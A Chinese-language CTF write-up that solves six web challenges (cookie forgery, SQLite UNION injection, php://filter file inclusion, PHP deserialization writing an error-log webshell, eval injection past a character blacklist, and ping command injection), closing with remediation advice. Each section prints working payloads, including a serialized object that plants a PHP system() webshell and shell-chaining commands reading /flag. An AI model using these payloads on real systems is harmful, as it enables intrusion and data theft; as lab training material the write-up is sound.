CTF Web 6 题全解 Writeup

本 Writeup 整合本次 CTF 竞赛的全部 6 道 Web 题目:Cookie 篡改 (web1)、SQL 注入 (web2)、文件包含 (web3)、反序列化 (web4)、简易计算器 (web5)、简单命令注入 (web6)。每道题均包含题目背景、核心考点、完整操作步骤、关键 Payload 与最终 Flag,所有截图均嵌入原文对应位置。

一、题目概览

题号 题目名称 分值 核心考点 Flag
web1 Cookie 篡改 100 客户端 Cookie 身份伪造 flag{fbb13e9cc8de3d84}
web2 SQL 注入 200 SQLite UNION 注入 + sqlite_master 枚举 flag{9a173797de052031}
web3 文件包含 200 php://filter 伪协议读取文件 flag{c0de2acb19d3544e}
web4 反序列化 300 魔术方法 + ini_set + error_log 写马 flag{21cbc191777f558c}
web5 简易计算器 500 eval 注入 + 字符过滤绕过 flag{9a2de6ad715b30dcb748a04a43}
web6 简单命令注入 300 命令拼接注入 + URL 编码 flag{aab939df636e121b}

说明:原始材料中 web3 与 web4 同源于一份反序列化题目源码,文档编号与实际 CTF 题号有出入;此处已按实际 Flag 与考点重新排序为 web1 → web6。

题目背景

某活动站点上线前赶工,开发者图省事把用户信息直接塞进 cookie:base64 编码一下就算"加密"了。管理员才能看到的秘密页面就藏在这个站里。任务:分析站点并获取 flag。

考点

  • 身份信息被完整存放在客户端 Cookie 中
  • Base64 只是编码 而非加密,可逆且无任何校验
  • 客户端可控数据导致的越权(水平 / 垂直权限提升)

解题思路

  1. 访问站点,页面显示 Welcome, anonymous、role: guest,并提示 "You are a guest. Only admins can see the secret." ------ 说明存在管理员专属页面。
  2. 打开浏览器 DevTools → Application → Cookies,发现一个 Base64 字符串,解码后为 JSON:{"username":"anonymous","role":"guest"}
  3. 关键字段是 role。把 guest 改为 admin,重新 Base64 编码,替换 Cookie 后刷新页面。
  4. 服务端仅依据 Cookie 中的 role 判断身份,未做任何签名校验,篡改后即以管理员身份渲染秘密页面,直接回显 flag。

关键 Payload

1) 解码原始 Cookie

echo 'eyJ1c2VybmFtZSI6ImFub255bW91cyIsInJvbGUiOiJndWVzdCJ9' | base64 -d

{"username":"anonymous","role":"guest"}

2) 伪造 role=admin 并重新编码

echo -n '{"username":"anonymous","role":"admin"}' | base64

eyJ1c2VybmFtZSI6ImFub255bW91cyIsInJvbGUiOiJhZG1pbiJ9

要点:Cookie 中凡是用于鉴权的字段(role、is_admin、uid 等)都必须服务端签名或存储在服务端 Session,绝不能直接信任客户端传来的明文(哪怕是 Base64)。

图1-1:默认访客页面,提示只有管理员可看 secret

图1-2:篡改 Cookie 的 role 字段后,成功拿到 flag
FLAG flag{fbb13e9cc8de3d84}

三、web2 · SQL 注入(SQLite UNION)

题目信息

一家公司的内部"用户目录"系统上线了,输入用户名就能查到人,查询结果直接显示密码哈希。开发者似乎对"输入"不太在意......提示:试试在用户名里输入一个单引号 '。后端使用 SQLite 数据库。

考点

  • SQL 注入漏洞:单引号触发报错 → 确认拼接
  • SQLite 的联合注入(UNION SELECT)
  • SQLite 使用 sqlite_master 枚举表名 / 结构,而非 MySQL 的 information_schema
  • GROUP_CONCAT 将多行结果合并为单行字符串,方便回显

解题思路

  1. 访问靶机,按提示在用户名输入框输入单引号 ',触发 SQL 语法错误。报错中出现 no such table: information_schema.tables,确认数据库为 SQLite 。
  2. 报错还意外回显了建表语句 CREATE TABLE users (id INTEGER PRIMARY KEY name TEXT pass TEXT),揭示 users 表结构。
  3. 用 ' UNION SELECT 1,2,3-- - 判断列数:1 / 2 / 3 全部回显,说明原查询有 3 列(ID、用户名、密码哈希)。
  4. 枚举表名:' UNION SELECT 1,(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),3-- -,回显 users,flags。发现还有一张 flags 表 。
  5. 查看 flags 表结构:' UNION SELECT 1,(SELECT GROUP_CONCAT(sql) FROM sqlite_master WHERE type='table'),3-- -,得到 flags(id, flag)。
  6. 先取 users 数据验证(干扰项):' UNION SELECT 1,(SELECT GROUP_CONCAT(name||':'||pass) FROM users),3-- -,拿到 alice/bob/carol 的 MD5。
  7. 最终目标:' UNION SELECT 1,(SELECT GROUP_CONCAT(flag) FROM flags),3-- -,回显 flag。

关键 Payload

1) 触发报错(确认 SQL 拼接)

'

2) 判断列数

' UNION SELECT 1,2,3-- -

3) 枚举所有表名(SQLite 用 sqlite_master)

' UNION SELECT 1,(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),3-- -

回显: users,flags

4) 查看所有表的建表语句

' UNION SELECT 1,(SELECT GROUP_CONCAT(sql) FROM sqlite_master WHERE type='table'),3-- -

5) 获取 flags 表中的 flag

' UNION SELECT 1,(SELECT GROUP_CONCAT(flag) FROM flags),3-- -

踩坑:一开始只盯着 users 表(alice、bob、carol 三个普通用户),发现 flag 不在里面,差点漏掉 flags 表。做 SQLite UNION 注入时一定要先枚举全部表,再逐一查看结构。

图2-1:题目描述页面

图2-3:单引号注入触发 SQL 报错,同时回显 users 表建表语句

图2-4:UNION 注入获取 alice 用户数据

图2-5:UNION 注入获取 bob 用户数据

图2-6:GROUP_CONCAT 批量获取 users 表所有用户

图2-7:GROUP_CONCAT 查询结果确认(users + flags 两张表)

这道题是典型的 UNION 注入 + 直连数据库泄露 ,后端是 PHP + SQLite(报错 no such table: information_schema.tables 暴露了这一点,所以要用 sqlite_master)。

步骤 目的 Payload (name 参数值) 回显
1 判断列数 ' UNION SELECT 1,2,3-- - 三列 1 / 2 / 3 全部回显
2 枚举表名 ' UNION SELECT 1,(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),3-- - users,flags
3 看表结构 ... GROUP_CONCAT(sql) ... users(id,name,pass)、flags(id,flag)
4 取 flag ' UNION SELECT 1,(SELECT GROUP_CONCAT(flag) FROM flags),3-- - flag{9a173797de052031}

你截图里已完成的部分

你上传的结果里,用户名列被 GROUP_CONCAT(name,':',pass) 拼成了:

  • alice:7abdccbea8473767e91378e37850d296
  • bob:3782b671390b01a8b68fe05e8a6ad00b
  • carol:cd06ee7a049f1c342ccd6c0e6575d8b8

这些只是 users 表(干扰数据)。真正的 flag 藏在额外的 flags 表里------所以光靠 users 是拿不到答案的,必须继续枚举 sqlite_master 才能发现 flags 表,这也是本题的关键转折点。
FLAG flag{9a173797de052031}

四、web3 · 文件包含(php://filter)

题目背景

一个"文件查看器"应用,通过 ?file=home 参数切换页面。题目提示:Flag 存储在 /flag 文件中,PHP 的 include() 函数可以包含文件,若参数可控则可能包含任意文件。

考点

  • PHP 文件包含漏洞(LFI)
  • php://filter 伪协议:在包含文件时对内容做流处理
  • 用 convert.base64-encode 把文件内容编码后输出,避免源码被当作脚本执行

解题思路

  1. 访问首页,确认存在 ?file= 参数(提示可用 ?file=home、?file=about)。
  2. 猜测后端为 include($_GET'file'),参数可控。直接尝试读取 /flag 会把 flag 当作 PHP 代码执行,可能不会显示。
  3. 改用 php://filter 包装:?file=php://filter/read=convert.base64-encode/resource=/flag
  4. 响应返回一串 Base64:ZmxhZ3tjMGRlMmFjYjE5ZDM1NDRlfQo=,解码即得 flag。

关键 Payload

利用 php://filter 读取 /flag(base64 编码后回显)

http://<host>:<port>/?file=php://filter/read=convert.base64-encode/resource=/flag

响应内容

ZmxhZ3tjMGRlMmFjYjE5ZDM1NDRlfQo=

解码

echo 'ZmxhZ3tjMGRlMmFjYjE5ZDM1NDRlfQo=' | base64 -d

flag{c0de2acb19d3544e}

原理:php://filter/read=convert.base64-encode/resource=<path> 会把目标文件内容以 Base64 流的形式返回,从而绕过"包含即执行"的问题,安全地把文件内容带出来。

图3-1:php://filter 构造与提交

图3-2:页面回显 Base64 编码后的 flag 内容

图3-3:解码得到最终 flag
FLAG flag{c0de2acb19d3544e}

五、web4 · 反序列化(Error Log Webshell)

题目背景

前任开发者留下的一套"管理面板"。源码直接挂在首页上。系统里有个重要文件 /flag。提示:注意用户输入是怎么被使用的......以及那些魔术方法。

题目源码

<?php

highlight_file(FILE);

class main{

public $settings;

public $params;

public function __construct(){

$this->settings=array(

'display_errors'=>'On',

'allow_url_fopen'=>'On'

);

$this->params=array();

}

public function __wakeup(){

foreach (this-\>settings as key => $value) {

ini_set(key, value);

}

}

public function __destruct(){

file_put_contents('settings.inc', unserialize($this->params));

}

}

unserialize($_GET'data');

考点

  • PHP 反序列化与魔术方法 __wakeup / __destruct 的自动触发
  • __wakeup 中 ini_set 对 任意键值可控 → 改写 error_log / log_errors / unserialize_callback_func
  • unserialize_callback_func:反序列化遇到未定义类时触发;非法回调名导致 Fatal error 被写入 error_log
  • 把 Fatal error 里夹带的 PHP 代码写入可执行 .php 文件 → Webshell

利用链分析

① 一次反序列化触发 `__wakeup` :unserialize($_GET'data') 解析构造的 main 对象,立即执行 __wakeup,逐个 ini_set 写入:display_errors=On、log_errors=1、error_log=/var/www/html/x.php、unserialize_callback_func=<?php system('cat /flag');?>。

② `__destruct` 触发二次反序列化 :脚本结束销毁对象时执行 __destruct,对 $this->params 再次 unserialize()。让 params 为 O:2:"id":0:{} ------ 一个不存在的类 id,触发上一步设置的 unserialize_callback_func。

③ 错误信息落盘成 Webshell :回调名不是合法函数名,PHP 抛出 Fatal error(Invalid callback ...),被原样写入 error_log 指定的 x.php。文件中夹带的 <?php system('cat /flag');?> 会被 PHP 正常解析执行,于是 x.php 变成 Webshell。

完整 Payload

外层 main 对象(URL 编码前)

O:4:"main":2:{

s:8:"settings";a:4:{

s:14:"display_errors";s:2:"On";

s:10:"log_errors";s:1:"1";

s:9:"error_log";s:19:"/var/www/html/x.php";

s:25:"unserialize_callback_func";s:28:"<?php system('cat /flag');?>";

}

s:6:"params";s:13:"O:2:"id":0:{}";

}

URL 编码后作为 data 参数提交:

http://<host>:<port>/?data=O%3A4%3A%22main%22%3A2%3A%7Bs%3A8%3A%22settings%22%3Ba%3A4%3A%7Bs%3A14%3A%22display_errors%22%3Bs%3A2%3A%22On%22%3Bs%3A10%3A%22log_errors%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22error_log%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2Fx.php%22%3Bs%3A25%3A%22unserialize_callback_func%22%3Bs%3A28%3A%22%3C%3Fphp%20system%28%27cat%20%2Fflag%27%29%3B%3F%3E%22%3B%7Ds%3A6%3A%22params%22%3Bs%3A13%3A%22O%3A2%3A%22id%22%3A0%3A%7B%7D%22%3B%7D

随后访问落盘的 Webshell 即可执行命令:

http://<host>:<port>/x.php?0=cat /flag

踩坑记录: ① 序列化字符串长度必须逐字节精确。最初把 /var/www/html/shell.php 的长度写成 24(实际 23),导致外层 unserialize 直接解析失败;建议用 PHP serialize() 动态生成。② .inc 文件被 Apache 当纯文本返回,写入 settings.inc 里的 PHP 代码不会执行,必须落到 .php 文件。③ unserialize_callback_func 只对下一次 unserialize 生效,必须用 __destruct 里的第二次反序列化来触发。

图4-1:首页 highlight_file 泄露完整源码

图4-2:未传入 data 参数时的报错(确认反序列化入口存在)

图4-3:发送 Payload 后查看页面源码(此时需去验证 Webshell 是否已落盘)

图4-4:错误路径探索(尝试 php://filter + .inc,发现 .inc 不可执行)

图4-5:确认源码结构与利用链节点

图4-6:本地环境坑点 --- Windows 上 PHP 命令不可用,需先装 PHP 或用 Kali

图4-7:最终利用成功 --- Fatal error 中夹带的 PHP 代码被执行,flag 直接回显
FLAG flag{21cbc191777f558c}

六、web5 · 简易计算器(eval 注入)

题目背景

一个在线四则运算计算器,输入两个数和运算符即可得到结果。开发者说"做了严格的字符过滤,绝对安全"。真的吗?

考点

  • eval() 把用户输入拼进代码 → 代码注入
  • 黑名单式字符过滤的天然缺陷:堵了一部分符号,但 PHP 语言结构仍可绕过
  • PHP 的 include / require 是语言结构 而非函数,不需要括号

过滤规则探测

向 num2 逐个提交字符 / 关键字,观察报错判断拦截情况:

输入 回显 结论
phpinfo() 无输出 ( 被过滤
' 无输出 单引号 ' 被过滤
$ 无输出 美元符 $ 被过滤
` 无输出 反引号被过滤
1; 1 分号可用,语句可截断
1 . 2 3 双引号 / 字符串语法可用
include"/flag" flag 内容 无需括号即可包含文件

关键发现:(、'、$、反引号等被拦截,但双引号、分号、字母关键字 未被拦截。函数调用因缺括号不可用,但可以改用不需要括号的语言结构 include 直接包含文件。

解题思路

  1. 先提交合法运算 num1=1&symbol=%2B&num2=2,确认后端把参数拼进 eval() 执行。
  2. 逐字符探测过滤规则,确认 ( / ' / $ / 反引号被拦,双引号与分号可用。
  3. 用分号截断原有表达式,拼上无需括号的 include 语言结构:1;include"/flag";。
  4. eval 执行整个拼接后的代码块,include "/flag" 直接把 flag 文件内容输出到页面。

关键 Payload

方式一:把 payload 放在 num2,用分号截断前面的表达式

num1=1&symbol=%2B&num2=1;include"/flag";

方式二:直接提交 payload 语句

num1=1&symbol=%2B&num2=include"/flag";

等价可用 require(同样是语言结构)

num1=1&symbol=%2B&num2=1;require"/flag";

为什么能绕过:include "/flag"; 中 include 是语言结构,语法为 include 表达式;,无需圆括号,绕开了对 ( 的过滤;文件名用双引号包裹(未被过滤)。作为对比,system id(无括号)会报 Undefined constant "system",证明函数调用方式在此过滤下不可用。

图5-1:简易计算器页面与初始探测

图5-2:分号、双引号等字符探测结果

图5-3:include"/flag" 直接回显 flag,eval 注入成功
FLAG flag{9a2de6ad715b30dcb748a04a43}

七、web6 · 简单命令注入

题目背景

一个 Ping 工具,可以测试网络连通性。输入要 ping 的 IP 地址即可。开发者对输入验证似乎不够严格......Flag 存储在 /flag 文件中。

考点

  • 命令注入(Command Injection):后端把用户输入直接拼接进 shell 命令
  • URL 编码特殊字符(/ → %2F)
  • 常见命令拼接分隔符:;、|、||、&&、$()、反引号等

解题思路

  1. 创建靶机容器,端口映射为 80 → http://172.2107.235:20006。
  2. 尝试访问靶机地址,浏览器直接访问无响应 ------ 说明不是纯 HTTP 静态页。进入 Web 第 6 题的 Ping 工具页面。
  3. 先在界面输入 ls -la 验证命令执行能力,成功列出目录(含 index.php),确认后端确实把 cmd 参数直接拼进系统命令。
  4. 构造 URL 直接读取 flag:http://172.21.107.235:20006/?cmd=cat+%2Fflag(%2F 是 / 的 URL 编码,+ 是空格)。
  5. 页面直接回显 flag{aab939df636e121b},攻击完成。

关键 Payload

验证命令执行(Web 界面输入)

ls -la

回显: index.php 等文件列表

直接读 flag(URL 参数)

http://172.21.107.235:20006/?cmd=cat+%2Fflag

等价分隔符(如 ; 或 | 拼接)

?cmd=127.0.0.1;cat+/flag

?cmd=127.0.0.1|cat+/flag

关键点:URL 中的 / 必须编码为 %2F(否则会被当作路径分隔符处理),空格可以用 + 或 %20 编码。如果题目有过滤某些分隔符,可以尝试多种变体(;、|、||、&&、换行符 %0a)。

图6-1:CTF 考试平台与题目列表(含端口映射)

图6-2:创建靶机容器,获得 3600 秒存活时间

图6-3:Ping 工具题目描述与 Web 入口

图6-4:命令执行工具界面(Web 交互)

图6-5:执行 ls -la 验证命令执行能力

图6-6:URL 构造 ?cmd=cat+/flag,直接回显最终 flag
FLAG flag{aab939df636e121b}

八、总结与修复建议

题号 漏洞本质 修复方向
web1 鉴权字段存放于客户端且可篡改 权限信息存服务端 Session / 对 Cookie 做签名校验
web2 SQL 拼接无过滤(SQLite UNION 注入) 参数化查询(Prepared Statement);对特殊字符做转义
web3 文件包含参数可控(LFI) 白名单固定可包含文件;禁用 php:// 等危险伪协议
web4 反序列化 + 魔术方法 + 任意 ini 配置 避免反序列化用户输入;对 ini_set 的 key 做白名单
web5 eval 拼接用户输入 + 黑名单过滤 禁用 eval;改用白名单解析运算符,不要用黑名单
web6 命令参数直接拼接进系统命令 白名单校验 IP 格式;用 exec/passthru 数组形式避免 shell 注入

六道题覆盖了 Web 安全中最常见的几个高频面:客户端信任问题 (web1 Cookie 篡改)、SQL 拼接 (web2)、服务端文件读取 (web3 php://filter)、对象注入 + 魔术方法 (web4 反序列化)、eval 注入 + 黑名单绕过 (web5)、Shell 命令拼接 (web6)。本质上它们有一个共同模式:只要用户输入被" 直接当作身份、查询、代码、文件名或命令参数使用" ,就一定有问题 。

修复方向归纳:① 客户端传来的东西永远不能直接信任,鉴权 / 权限信息必须服务端保存;② SQL 一律用参数化查询;③ 文件包含 / 文件读取一律白名单 + 禁用危险伪协议;④ 避免 unserialize() 用户输入,必须用则只反序列化自己构造的结构;⑤ 避免 eval(),解析用户给的表达式用白名单 lexer;⑥ 命令执行用白名单校验参数,或用函数数组形式(exec($cmd, $arg1))避免 shell 拼接。

相关推荐
IT大白鼠1 小时前
2026 年 9 月至今重大安全漏洞专题报告——微软产品高危漏洞深度解析
安全·microsoft
宇明一不急1 小时前
string和byte的相互转换
算法
qq_401700411 小时前
CAN 开源库大全(嵌入式/上位机,适配STM32、Linux、Qt,附带Github地址)
linux·stm32·开源
Xudde.1 小时前
DC-1 靶机渗透测试(Vulnhub Writeup)
笔记·学习·安全·web安全
小小龙学IT1 小时前
PostgreSQL 服务端机制与 SQL 实战深度解析:从 MVCC 到查询优化器
数据库·sql·postgresql
浪子不回头4151 小时前
同花顺一面
学习
l1t1 小时前
DeepSeek总结的DuckDB 从 JSON 字符串到类型化列
数据库·sql·json
小王师傅661 小时前
LangChain 系统化学习入门
学习·langchain
波力海苔夹心脆6751 小时前
VisionPro 与 VisionMaster 对比(上):软件定位、开发环境与核心视觉工具对照
图像处理·算法·计算机视觉·c#·视觉检测·个人开发·vp9